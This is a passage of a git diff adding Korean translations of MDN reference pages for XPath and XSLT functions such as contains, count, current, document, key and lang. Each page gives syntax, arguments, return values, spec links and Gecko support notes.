@@ -0,0 +1,47 @@
+---
+title: contains
+slug: Web/XPath/Functions/contains
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/contains
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>contains</code> 함수는 첫 번째 인수 문자열이 두 번째 인수 문자열을 포함하는지 결정하고 부울값 true 또는 false를 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">contains(<i>haystack</i> ,<i>needle</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ haystack</i>
+ </code></dt>
+ <dd>
+ 찾을 문자열</dd>
+</dl>
+<dl>
+ <dt>
+ <code>
+ <i>
+ needle</i>
+ </code></dt>
+ <dd>
+ 첫 번째 인수(<code>
+ <i>
+ haystack</i>
+ </code>)에서 찾을 부분 문자열</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>첫 번째 인수(<code>
+ <i>
+ haystack</i>
+ </code>)가 두 번째 인수(<code>
+ <i>
+ needle</i>
+ </code>)를 포함하면 <code>true</code>. 그렇지 않으면, <code>false</code>.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-contains">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/count/index.html b/files/ko/web/xpath/functions/count/index.html
new file mode 100644
index 0000000000..0bed0a6e26
--- /dev/null
+++ b/files/ko/web/xpath/functions/count/index.html
@@ -0,0 +1,29 @@
+---
+title: count
+slug: Web/XPath/Functions/count
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/count
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>count</code> 함수는 노드 집합의 노드 수를 세고 나서 정수로 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">count(<i>node-set</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ node-set</i>
+ </code></dt>
+ <dd>
+ 셀 노드 집합.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>노드 집합의 노드 수를 나타내는 정수.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-count">1.0 4.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/current/index.html b/files/ko/web/xpath/functions/current/index.html
new file mode 100644
index 0000000000..e08a75a379
--- /dev/null
+++ b/files/ko/web/xpath/functions/current/index.html
@@ -0,0 +1,61 @@
+---
+title: current
+slug: Web/XPath/Functions/current
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/current
+---
+<p>{{ XsltRef() }}</p>
+
+<p><code>current</code> 함수는 XSLT 명령에서 문맥 노드를 얻는 데 쓸 수 있습니다.</p>
+
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+
+<pre class="eval">current()
+</pre>
+
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+
+<p>오직 현재 노드만을 포함하는 노드 집합.</p>
+
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+
+<p>이 함수는 XPath에 더한 XSLT 고유 추가분입니다. 기본 XPath 함수 라이브러리의 일부가 아닙니다.</p>
+
+<article>
+<p>For an outermost expression (an expression not occurring within another expression), the current node is always the same as the context node (which will be returned by the <code>.</code> or <code>self</code> syntax). The following two are symantically equivalent.</p>
+
+<pre><code>&lt;xsl:value-of select="current()"/&gt;</code></pre>
+
+<pre><code>&lt;xsl:value-of select="."/&gt;</code></pre>
+
+<p>In an inner expression (e.g. in square brackets), the current node is still the same as it would have been in an outermost expression. Thus within all of the following three expressions the <code>current</code> function (not the entire expressions) returns the same node. Moreover, the latter two are semantically equivalent.</p>
+
+<pre><code>&lt;xsl:value-of select="current()"/&gt;</code></pre>
+
+<pre><code>&lt;xsl:value-of select="foo/bar[current() = X]"/&gt;</code></pre>
+
+<pre><code>&lt;xsl:variable name="current" select="current()"/&gt;
+&lt;xsl:value-of select="foo/bar[$current = X]"/&gt;</code></pre>
+
+<p>And the next code is also semantically equivalent to the latter two, since the <code>.</code> occurs in an outermost expression.</p>
+
+<pre><code>&lt;xsl:variable name="current" select="."/&gt;
+&lt;xsl:value-of select="foo/bar[$current = X]"/&gt;</code></pre>
+
+<p>But the <code>.</code> always relate to the narrowest context. Thus in</p>
+
+<pre><code>&lt;xsl:value-of select="foo/bar[. = X]"/&gt;</code></pre>
+
+<p>the <code>.</code> returns the <code>bar</code> node, which may be different from the current node.</p>
+</article>
+
+<p> </p>
+
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-current">XSLT 1.0 12.4</a></p>
+
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/document/index.html b/files/ko/web/xpath/functions/document/index.html
new file mode 100644
index 0000000000..934af02195
--- /dev/null
+++ b/files/ko/web/xpath/functions/document/index.html
@@ -0,0 +1,61 @@
+---
+title: document
+slug: Web/XPath/Functions/document
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/document
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>document</code> 함수는 하나 또는 여러 외부 문서에서 노드 집합을 찾고 결과 노드 집합을 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">document(<i>URI</i> [,<i>node-set</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ URI</i>
+ </code></dt>
+ <dd>
+ 검색하는 문서의 절대 또는 상대 URI. URI는 또한 조각 인식자(fragment identifier)를 포함할지도 모릅니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>
+ <i>
+ node-set</i>
+ </code> (선택사항)</dt>
+ <dd>
+ 반환하게 될 외부 문서의 노드 집합을 가리키는 식.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>노드 집합.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>URI가 조각 인식자를 포함하고 그 조각이 외부 문서에서 인식될 수 있으면, 그 조각은 <code>
+ <i>
+ node-set</i>
+ </code> 인수식에서 루트로 다룹니다. <code>
+ <i>
+ node-set</i>
+ </code> 인수를 빼면, 전체 조각을 반환합니다.</li>
+</ul>
+<ul>
+ <li><code>
+ <i>
+ URI</i>
+ </code> 인수가 노드 집합이고 두 번째 인수가 있으면, 노드 집합의 각 노드를 개별 URI로 평가하고 반환한 노드 집합은 마치 <code>document</code> 함수가 여러 번 호출되어 결과 노드 집합이 단일 노드 집합으로 합쳐진 것 같이 됩니다.</li>
+</ul>
+<ul>
+ <li>다른 특정 조건은 지정한 behavior와 함께 있습니다. 자세한 사항은 XSLT 1.0 문서를 보세요.</li>
+</ul>
+<ul>
+ <li>URI가 XSL 문서와 호응하기 때문에, <code>document("")</code>는 현재 노드의 루트 노드를 반환할 겁니다.</li>
+</ul>
+<p>이 함수는 XPath에 더한 XSLT 고유 추가분입니다. 기본 XPath 함수 라이브러리의 일부가 아닙니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-document">XSLT 1.0 12.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/element-available/index.html b/files/ko/web/xpath/functions/element-available/index.html
new file mode 100644
index 0000000000..bb236437e0
--- /dev/null
+++ b/files/ko/web/xpath/functions/element-available/index.html
@@ -0,0 +1,29 @@
+---
+title: element-available
+slug: Web/XPath/Functions/element-available
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/element-available
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>element-available</code> 함수는 요소가 이용 가능한 지를 결정하고 true나 false를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">element-available(<i>QName</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ QName</i>
+ </code></dt>
+ <dd>
+ 유효한 QName으로 평가해야 합니다. QName은 식 범위(scope)에서 이름공간 선언을 써서 확장 이름으로 확장됩니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>만약 확장 이름이 명령 이름이면 true를 반환합니다. 만약 확장 이름에 XSLT 이름공간 URI와 같은 이름공간 URI이 있으면, XSLT로 정의된 요소를 참조합니다. 그렇지 않으면, extension 요소를 참조합니다. 만약 확장 이름에 null 이름공간 URI가 있으면, element-available 함수는 false를 반환합니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-element-available">XSLT 1.0 15</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/false/index.html b/files/ko/web/xpath/functions/false/index.html
new file mode 100644
index 0000000000..a29953f4c3
--- /dev/null
+++ b/files/ko/web/xpath/functions/false/index.html
@@ -0,0 +1,25 @@
+---
+title: 'false'
+slug: Web/XPath/Functions/false
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/false
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>false</code> 함수는 boolean false를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">false()
+</pre>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>Boolean <code>false</code>.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>이 함수는 비교(comparison)하는 부분에 쓸모가 있습니다.</p>
+<pre class="eval">&lt;xsl:if test="boolean((1 &amp;gt; 2) = false())"&gt;
+ The expression evaluates as true
+&lt;/xsl:if&gt;
+</pre>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-false">XPath 1.0 4.3</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/floor/index.html b/files/ko/web/xpath/functions/floor/index.html
new file mode 100644
index 0000000000..ead261d1ec
--- /dev/null
+++ b/files/ko/web/xpath/functions/floor/index.html
@@ -0,0 +1,32 @@
+---
+title: floor
+slug: Web/XPath/Functions/floor
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/floor
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>floor</code> 함수는 10진수를 평가하고 10진수보다 크지 않는(작거나 같은) 가장 큰 정수를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">floor(<i>number</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ number</i>
+ </code></dt>
+ <dd>
+ 평가할 10진수.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p><code>
+ <i>
+ number</i>
+ </code>보다 크지 않는 가장 큰 정수.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-floor">XPath 1.0 4.4</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/format-number/index.html b/files/ko/web/xpath/functions/format-number/index.html
new file mode 100644
index 0000000000..38b5df5e1c
--- /dev/null
+++ b/files/ko/web/xpath/functions/format-number/index.html
@@ -0,0 +1,49 @@
+---
+title: format-number
+slug: Web/XPath/Functions/format-number
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/format-number
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>format-number</code> 함수는 수를 평가하고 제공한 형식으로 그 수를 나타내는 문자열을 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">format-number(<i>number</i> ,<i>pattern</i> [,<i>decimal-format</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ number</i>
+ </code></dt>
+ <dd>
+ 형식을 지정할 수</dd>
+</dl>
+<dl>
+ <dt>
+ <code>
+ <i>
+ pattern</i>
+ </code></dt>
+ <dd>
+ JDK 1.1 <a class="external" href="http://java.sun.com/products/jdk/1.1/docs/api/java.text.DecimalFormat.html">Decimal Format</a> 클래스 형식의 문자열.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>
+ <i>
+ decimal-format</i>
+ </code> (선택사항)</dt>
+ <dd>
+ 쓸 수 형식을 정의하는 <code><a href="ko/XSLT/decimal-format"> xsl:decimal-format</a></code> 요소의 이름. 빼면, 기본 decimal-format을 씁니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>새 형식으로 수를 나타내는 문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>이 함수는 XPath에 더한 XSLT 고유 추가분입니다. 기본 XPath 함수 라이브러리의 일부가 아닙니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-format-number">XSLT 1.0 12.3</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/function-available/index.html b/files/ko/web/xpath/functions/function-available/index.html
new file mode 100644
index 0000000000..421c97554a
--- /dev/null
+++ b/files/ko/web/xpath/functions/function-available/index.html
@@ -0,0 +1,29 @@
+---
+title: function-available
+slug: Web/XPath/Functions/function-available
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/function-available
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>function-available</code> 함수는 인수로 준 함수가 이용 가능한 지를 결정하고 boolean true나 false를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">function-available(<i>name</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ name</i>
+ </code></dt>
+ <dd>
+ 검사할 함수 이름.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>Boolean <code>true</code>나 <code>false</code>.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-function-available">XPath 1.0 15</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/generate-id/index.html b/files/ko/web/xpath/functions/generate-id/index.html
new file mode 100644
index 0000000000..f491f03c78
--- /dev/null
+++ b/files/ko/web/xpath/functions/generate-id/index.html
@@ -0,0 +1,37 @@
+---
+title: generate-id
+slug: Web/XPath/Functions/generate-id
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/generate-id
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>generate-id</code> 함수는 제공한 노드 집합의 첫 노드를 위한 유일한 id를 만들고 그 id를 포함하는 문자열을 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">generate-id( [<i>node-set</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ node-set</i>
+ </code> (선택사항)</dt>
+ <dd>
+ id는 이 노드 집합의 첫 노드를 위해 만듭니다. 빼면, 현재 문맥 노드를 씁니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>만든 id를 포함하는 문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>현재 변환에서 현재 문서의 같은 노드에는 매번 같은 id를 만들어야 합니다.</li>
+</ul>
+<ul>
+ <li>만든 id는 그 뒤 변환에서는 같지 않을 지도 모릅니다.</li>
+</ul>
+<p>이 함수는 XPath에 더한 XSLT 고유 추가분입니다. 기본 XPath 함수 라이브러리의 일부가 아닙니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-generate-id">XSLT 1.0 12.4</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/id/index.html b/files/ko/web/xpath/functions/id/index.html
new file mode 100644
index 0000000000..a5ab5ecab7
--- /dev/null
+++ b/files/ko/web/xpath/functions/id/index.html
@@ -0,0 +1,46 @@
+---
+title: id
+slug: Web/XPath/Functions/id
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/id
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>id</code> 함수는 인수로 준 id와 일치하는 노드를 찾아 그 식별된 노드를 포함하는 노드 집합을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">id(<i>expression</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ expression</i>
+ </code></dt>
+ <dd>
+ 만약 <code>
+ <i>
+ expression</i>
+ </code>이 노드 집합이면, 노드 집합 안 각 노드의 문자열 값은 개별 id로 다룹니다. 반환하는 노드 집합은 그 id와 대응하는 노드입니다.</dd>
+</dl>
+<dl>
+ <dd>
+ 만약 <code>
+ <i>
+ expression</i>
+ </code>이 문자열이나, 노드 집합이 아닌 어떤 거라면, <code>
+ <i>
+ expression</i>
+ </code>은 공백으로 구분된 id 목록으로 다룹니다. 반환하는 노드 집합은 그 id와 대응하는 노드입니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>그 노드를 포함하는 노드 집합이나 인수로 준 id로 식별된 노드.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>XML 문서의 DTD가 어떤 속성이 ID인지를 결정합니다. <a class="external" href="http://www.w3.org/TR/xpath#unique-id">XPath 1.0 5.2.1</a>를 보세요.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-id">XPath 1.0 4.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>부분 지원함.</p>
diff --git a/files/ko/web/xpath/functions/index.html b/files/ko/web/xpath/functions/index.html
new file mode 100644
index 0000000000..ca47e6de8b
--- /dev/null
+++ b/files/ko/web/xpath/functions/index.html
@@ -0,0 +1,74 @@
+---
+title: Functions
+slug: Web/XPath/Functions
+tags:
+ - XPath
+ - XPath_Reference
+ - XSLT_Reference
+translation_of: Web/XPath/Functions
+---
+<p>{{ XsltRef() }} 다음은 설명, 문법, 인수 목록, 결과형, 해당 W3C 권고안 소스, 현 <a href="ko/Gecko">Gecko</a> 지원 정도를 포함하는 기본 <a href="ko/XPath">XPath</a> 함수와 XPath에 더해진 <a href="ko/XSLT">XSLT</a> 고유의 추가분에 주석을 단 목록입니다. XPath/XSLT 함수 사용에 관한 추가 정보는, <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading">For Further Reading</a> 페이지를 봐 주세요.</p>
+<ul>
+ <li><a href="Functions/boolean">boolean()</a></li>
+ <li><a href="Functions/ceiling">ceiling()</a></li>
+ <li><a href="Functions/concat">concat()</a></li>
+ <li><a href="Functions/contains">contains()</a></li>
+ <li><a href="Functions/count">count()</a></li>
+ <li><a href="Functions/current">current()</a>
+ <i>
+ XSLT 고유</i>
+ </li>
+ <li><a href="ko/Functions/document">document()</a>
+ <i>
+ XSLT 고유</i>
+ </li>
+ <li><a href="Functions/element-available">element-available()</a></li>
+ <li><a href="Functions/false">false()</a></li>
+ <li><a href="Functions/floor">floor()</a></li>
+ <li><a href="Functions/format-number">format-number()</a>
+ <i>
+ XSLT 고유</i>
+ </li>
+ <li><a href="Functions/function-available">function-available()</a></li>
+ <li><a href="Functions/generate-id">generate-id()</a>
+ <i>
+ XSLT 고유</i>
+ </li>
+ <li><a href="Functions/id">id()</a>
+ <i>
+ (부분 지원함)</i>
+ </li>
+ <li><a href="Functions/key">key()</a>
+ <i>
+ XSLT 고유</i>
+ </li>
+ <li><a href="Functions/lang">lang()</a></li>
+ <li><a href="Functions/last">last()</a></li>
+ <li><a href="Functions/local-name">local-name()</a></li>
+ <li><a href="Functions/name">name()</a></li>
+ <li><a href="Functions/namespace-uri">namespace-uri()</a></li>
+ <li><a href="Functions/normalize-space">normalize-space()</a></li>
+ <li><a href="Functions/not">not()</a></li>
+ <li><a href="Functions/number">number()</a></li>
+ <li><a href="Functions/position">position()</a></li>
+ <li><a href="Functions/round">round()</a></li>
+ <li><a href="Functions/starts-with">starts-with()</a></li>
+ <li><a href="Functions/string">string()</a></li>
+ <li><a href="Functions/string-length">string-length()</a></li>
+ <li><a href="Functions/substring">substring()</a></li>
+ <li><a href="Functions/substring-after">substring-after()</a></li>
+ <li><a href="Functions/substring-before">substring-before()</a></li>
+ <li><a href="Functions/sum">sum()</a></li>
+ <li><a href="Functions/system-property">system-property()</a>
+ <i>
+ XSLT 고유</i>
+ </li>
+ <li><a href="Functions/translate">translate()</a></li>
+ <li><a href="Functions/true">true()</a></li>
+ <li><a href="Functions/unparsed-entity-url">unparsed-entity-url()</a>
+ <i>
+ XSLT 고유</i>
+ <i>
+ (지원 안 함)</i>
+ </li>
+</ul>
diff --git a/files/ko/web/xpath/functions/key/index.html b/files/ko/web/xpath/functions/key/index.html
new file mode 100644
index 0000000000..6441db02de
--- /dev/null
+++ b/files/ko/web/xpath/functions/key/index.html
@@ -0,0 +1,43 @@
+---
+title: key
+slug: Web/XPath/Functions/key
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/key
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>key</code> 함수는 인수로 준 키와 값을 갖는 노드 집합을 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">key(<i>keyname</i> ,<i>value</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ keyname</i>
+ </code></dt>
+ <dd>
+ 사용할 <code><a href="ko/XSLT/key"> xsl:key</a></code> 요소의 이름을 포함하는 문자열</dd>
+</dl>
+<dl>
+ <dt>
+ <code>
+ <i>
+ value</i>
+ </code></dt>
+ <dd>
+ 반환되는 노드 집합은 제공한 키와 이 값을 갖는 각 노드를 포함합니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>노드 집합.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li><code><a href="ko/XSLT/key">xsl:key</a></code> 요소는 키와 일치하는데 쓰는 제공한 요소의 속성을 정의합니다.</li>
+</ul>
+<p>이 함수는 XPath에 더한 XSLT 고유 추가분입니다. 기본 XPath 함수 라이브러리의 일부가 아닙니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-key">XSLT 1.0 12.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/lang/index.html b/files/ko/web/xpath/functions/lang/index.html
new file mode 100644
index 0000000000..cc4c9c13b6
--- /dev/null
+++ b/files/ko/web/xpath/functions/lang/index.html
@@ -0,0 +1,55 @@
+---
+title: lang
+slug: Web/XPath/Functions/lang
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/lang
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>lang</code> 함수는 문맥 노드가 인수로 준 언어와 일치하는 지를 결정하고 true나 false를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">lang(<i>string</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ string</i>
+ </code></dt>
+ <dd>
+ 일치 여부에 사용하는 언어 코드나 지역화 (언어와 나라) 코드.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>문맥 노드가 인수로 준 언어와 일치하면 <code>true</code>. 그렇지 않으면, <code>false</code>.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>노드의 언어는 노드의 <code>xml:lang</code> 속성으로 결정됩니다. 만약 현재 노드에 <code>xml:lang</code> 속성이 없으면, <code>xml:lang</code> 속성이 있는 가장 가까운 조상(ancestor) 노드의 <code>xml:lang</code> 속성값을 현재 노드의 언어로 결정합니다. 만약 언어가 결정될 수 없으면 (<code>xml:lang</code> 속성이 있는 조상이 없는 경우), 이 함수는 false를 반환합니다.</li>
+</ul>
+<ul>
+ <li>If 인수로 준 <code>
+ <i>
+ string</i>
+ </code>이 나라 코드를 지정하지 않으면, 이 함수는 아무 나라 코드를 갖는 그 언어의 노드와 일치합니다. 반대는 true가 아닙니다.</li>
+</ul>
+<p>이 XML 코드 조각을 주고</p>
+<pre>&lt;p xml:lang="en"&gt;I went up a floor.&lt;/p&gt;
+&lt;p xml:lang="en-GB"&gt;I took the lift.&lt;/p&gt;
+&lt;p xsl:lang="en-US"&gt;I rode the elevator.&lt;/p&gt;</pre>
+<p>XSL 템플릿이 이렇다면</p>
+<pre class="eval">&lt;xsl:value-of select="count(//p[lang('en')])" /&gt;
+&lt;xsl:value-of select="count(//p[lang('en-GB')])" /&gt;
+&lt;xsl:value-of select="count(//p[lang('en-US')])" /&gt;
+&lt;xsl:value-of select="count(//p[lang('de')])" /&gt;
+</pre>
+<p>출력은 다음과 같을 지도 모릅니다.</p>
+<pre class="eval">3
+1
+1
+0
+</pre>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-lang">XPath 1.0 4.3</a></p>
